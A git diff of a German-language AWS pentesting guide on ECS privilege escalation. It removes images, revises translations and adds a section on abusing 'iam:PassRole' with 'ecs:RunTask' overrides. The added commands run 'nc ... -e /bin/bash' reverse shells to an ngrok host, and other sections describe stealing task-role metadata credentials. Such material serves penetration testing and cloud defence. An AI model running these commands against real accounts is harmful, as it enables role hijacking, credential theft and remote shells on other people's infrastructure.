diff --git a/src/images/image (135).png b/src/images/image (135).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (135).png and /dev/null differ diff --git a/src/images/image (140).png b/src/images/image (140).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (140).png and /dev/null differ diff --git a/src/images/image (150).png b/src/images/image (150).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (150).png and /dev/null differ diff --git a/src/images/image (178).png b/src/images/image (178).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (178).png and /dev/null differ diff --git a/src/images/image (182).png b/src/images/image (182).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (182).png and /dev/null differ diff --git a/src/images/image (183).png b/src/images/image (183).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (183).png and /dev/null differ diff --git a/src/images/image (210).png b/src/images/image (210).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (210).png and /dev/null differ diff --git a/src/images/image (222).png b/src/images/image (222).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (222).png and /dev/null differ diff --git a/src/images/image (251).png b/src/images/image (251).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (251).png and /dev/null differ diff --git a/src/images/image (252).png b/src/images/image (252).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (252).png and /dev/null differ diff --git a/src/images/image (259).png b/src/images/image (259).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (259).png and /dev/null differ diff --git a/src/images/image (282).png b/src/images/image (282).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (282).png and /dev/null differ diff --git a/src/images/image (31).png b/src/images/image (31).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (31).png and /dev/null differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index b221c483c..39915215b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -Mehr **Info über ECS** in: +Mehr **Informationen über ECS** in: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ Mehr **Info über ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**. +Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS ausnutzt, kann **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Erstellen Sie einen Webhook mit einer Seite wie webhook.site +Erstelle einen webhook auf einer Seite wie webhook.site ```bash # Create file container-definition.json @@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen ECS-Rolle. +**Potential Impact:** Direkter privesc zu einer anderen ECS-Rolle. + +### `iam:PassRole`,`ecs:RunTask` +Ein Angreifer, der die Berechtigungen `iam:PassRole` und `ecs:RunTask` besitzt, kann eine neue ECS-Task starten, bei der die **execution role**, **task role** und die **command**-Werte des Containers geändert werden. Der CLI-Befehl `ecs run-task` enthält die Option `--overrides`, die es ermöglicht, zur Laufzeit `executionRoleArn`, `taskRoleArn` und das Container-`command` zu ändern, ohne die Task-Definition anzupassen. + +Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy so konfiguriert sein, dass `ecs-tasks.amazonaws.com` sie übernehmen darf. + +Außerdem muss der Angreifer wissen: +- ECS cluster name +- VPC Subnet +- Security group (Wenn keine Security group angegeben ist, wird die Standard-Security group verwendet) +- Task Definition Name and revision +- Name of the Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +Im obigen Codeausschnitt überschreibt ein Angreifer nur den Wert `taskRoleArn`. Der Angreifer muss jedoch die Berechtigung `iam:PassRole` für die in dem Befehl angegebene `taskRoleArn` und für die in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff ausgeführt werden kann. + +Wenn die IAM-Rolle, die der Angreifer übergeben darf, ausreichende Berechtigungen hat, um ein Image aus ECR zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** Direkter privesc auf jede ECS-Task-Rolle. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**.\ -Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen. +Ähnlich wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** Berechtigungen in ECS missbraucht, eine **neue Task-Definition** mit einem **bösartigen Container** erzeugen, der die Metadaten-Anmeldeinformationen stiehlt, und diese **ausführen**.\ +Allerdings wird in diesem Fall eine Container-Instance benötigt, um die bösartige Task-Definition auszuführen. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle. +**Mögliche Auswirkungen:** Direkter privesc auf jede ECS-Rolle. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.** + +Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** Berechtigungen in ECS missbraucht, **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task ausführt.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -123,11 +170,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle. +**Potential Impact:** Direkter privesc zu jeder ECS role. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Tatsächlich ist es nur mit diesen Berechtigungen möglich, Überschreibungen zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, mit etwas wie: +Tatsächlich ist es bereits mit diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem container mit einer beliebigen role auszuführen, z. B. mit: ```bash aws ecs run-task \ --task-definition "" \ @@ -135,16 +182,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder ECS-Rolle. +**Mögliche Auswirkungen:** Direkter privesc zu jeder ECS-Rolle. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Dieses Szenario ist wie die vorherigen, aber **ohne** die Berechtigung **`iam:PassRole`**.\ -Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\ -Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen). +Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`**-Berechtigung.\ +Das ist weiterhin interessant, denn wenn Sie einen beliebigen container ausführen können, selbst ohne Rolle, könnten Sie einen **privileged container ausführen, um auf den node zu entkommen** und die **EC2 IAM role** sowie die **anderen ECS containers roles**, die auf dem node laufen, **stehlen**.\ +Sie könnten sogar **andere Tasks dazu zwingen, innerhalb der EC2 instance zu laufen**, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) beschrieben). > [!WARNING] -> Dieser Angriff ist nur möglich, wenn der **ECS-Cluster EC2**-Instanzen und nicht Fargate verwendet. +> Dieser Angriff ist nur möglich, wenn der **ECS cluster EC2** instances verwendet und nicht Fargate. ```bash printf '[ { @@ -187,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die angehängte IAM-Rolle exfiltrieren (du benötigst die Beschreibungsberechtigungen, da es notwendig ist, `aws ecs execute-command` auszuführen).\ -Um dies zu tun, muss die Container-Instanz jedoch den **ExecuteCommand-Agent** ausführen (was standardmäßig nicht der Fall ist). +Ein attacker mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **execute commands** inside a running container und die daran angehängte IAM role exfiltrate (du brauchst die describe permissions, weil es notwendig ist, `aws ecs execute-command` auszuführen).\\ +Um das jedoch zu tun, muss die container instance den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist). -Daher könnte der Angreifer versuchen: +Daher könnte der attacker versuchen: -- **Versuche, einen Befehl** in jedem laufenden Container auszuführen. +- **Try to run a command** in every running container ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -210,18 +257,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Wenn er **`ecs:RunTask`** hat, führe eine Aufgabe mit `aws ecs run-task --enable-execute-command [...]` aus. -- Wenn er **`ecs:StartTask`** hat, führe eine Aufgabe mit `aws ecs start-task --enable-execute-command [...]` aus. -- Wenn er **`ecs:CreateService`** hat, erstelle einen Dienst mit `aws ecs create-service --enable-execute-command [...]` aus. -- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Dienst mit `aws ecs update-service --enable-execute-command [...]` aus. +- Wenn er **`ecs:RunTask`** hat, führe eine Task mit `aws ecs run-task --enable-execute-command [...]` aus +- Wenn er **`ecs:StartTask`** hat, starte eine Task mit `aws ecs start-task --enable-execute-command [...]` +- Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]` +- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]` -Du kannst **Beispiele für diese Optionen** in **früheren ECS privesc Abschnitten** finden. +Du findest **Beispiele für diese Optionen** in **vorherigen ECS privesc-Abschnitten**. -**Potenzielle Auswirkungen:** Privesc zu einer anderen Rolle, die an Containern angehängt ist. +**Potentielle Auswirkung:** Privesc zu einer anderen Rolle, die den Containern zugewiesen ist. ### `ssm:StartSession` -Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS** zu erhalten: +Siehe in der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**: {{#ref}} aws-ssm-privesc.md @@ -229,24 +276,26 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS** zu erhalten: +Siehe in der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**: {{#ref}} aws-ec2-privesc.md {{#endref}} -### `?ecs:RegisterContainerInstance` +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Aufgaben unter Maschinen ausgeführt werden, die vom Angreifer kontrolliert werden?? +Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen. + +- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Teste dies +> TODO: Testen -Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **beliebigen Code innerhalb des Dienstes auszuführen**. +Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Service ausführen**. ```bash -bashCopy code# Register a task definition with a reverse shell +# Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ @@ -270,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potenzielle Auswirkungen**: Ausführen beliebigen Codes im betroffenen Dienst, was möglicherweise dessen Funktionalität beeinträchtigt oder sensible Daten exfiltriert. +**Mögliche Auswirkungen**: Beliebigen code im betroffenen Service ausführen, wodurch dessen Funktionalität beeinträchtigt werden kann oder exfiltrating sensitive data ermöglicht wird. ## Referenzen